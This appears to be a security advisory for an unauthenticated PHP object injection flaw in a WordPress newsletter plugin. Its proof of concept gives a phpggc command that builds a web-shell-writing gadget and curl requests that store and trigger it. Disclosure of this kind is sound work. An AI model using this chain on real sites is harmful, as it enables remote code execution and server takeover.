Newsletters < 4.15 – Unauthenticated PHP Object Injection via Subscriber Custom Field | CVE 2026-12583

Description

The plugin does not prevent deserialization of untrusted input that is stored through a public form, allowing unauthenticated attackers to inject a PHP object and, via a property-oriented gadget chain bundled with the plugin, write arbitrary files and execute code on the server.

Proof of Concept

Actor for the injection: an unauthenticated visitor. Precondition: a subscribable list with a custom text field, and a sent campaign whose body uses that field's personalization token `[wpmlfield name="<slug>"]` (standard newsletter personalization). The example uses a field with slug `favcolor`.

Step 1 - Generate a serialized `GuzzleHttp\Cookie\FileCookieJar` object that writes a chosen file (the gadget ships in the plugin's own `vendor/`). For example, with phpggc: `phpggc Guzzle/FW1 /var/www/html/wp-content/uploads/shell.php '<?php system($_GET[0]); ?>'` produces the serialized string; URL-encode it for transport.

Step 2 - As an unauthenticated visitor, submit the public subscribe form, placing the serialized object in the custom text field. No authentication or nonce is required:

```bash
curl -s 'https://victim.example/?wpmlmethod=optin' \
  --data-urlencode 'email=attacker@evil.test' \
  --data-urlencode 'list_id[]=1' \
  --data-urlencode 'consent[]=1' \
  --data 'favcolor=<URL-ENCODED-SERIALIZED-OBJECT>'
```

The `consent[]=1` value is the consent field that the public subscribe form posts back; it is required for the subscriber record (and the custom-field value) to be saved. The favcolor value is stored verbatim (the plugin's `stripslashes_deep()` on read restores the serialized bytes). Confirmed stored row (subscriber recorded with the attacker's own id and authkey):

```
wp_wpmlsubscribers: id=3 | email=attacker@evil.test | favcolor=O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
```

Step 3 - As the same unauthenticated visitor, request the newsletter "view online" endpoint for a sent campaign whose body contains `[wpmlfield name="favcolor"]`, supplying your own subscriber id and authkey:

```bash
curl -s 'https://victim.example/?newsletters_method=newsletter&id=1&subscriber_id=3&authkey=<your-authkey>'
```

Observed result: the plugin deserializes the stored field value and instantiates the `FileCookieJar` object, whose destructor writes the attacker-controlled file. In testing, the target file was created with attacker-controlled content (the serialized cookie JSON), proving the object was deserialized and its `__destruct` file-write primitive executed. Substituting the example shell path/content above yields an executable PHP file under the web root, i.e. remote code execution.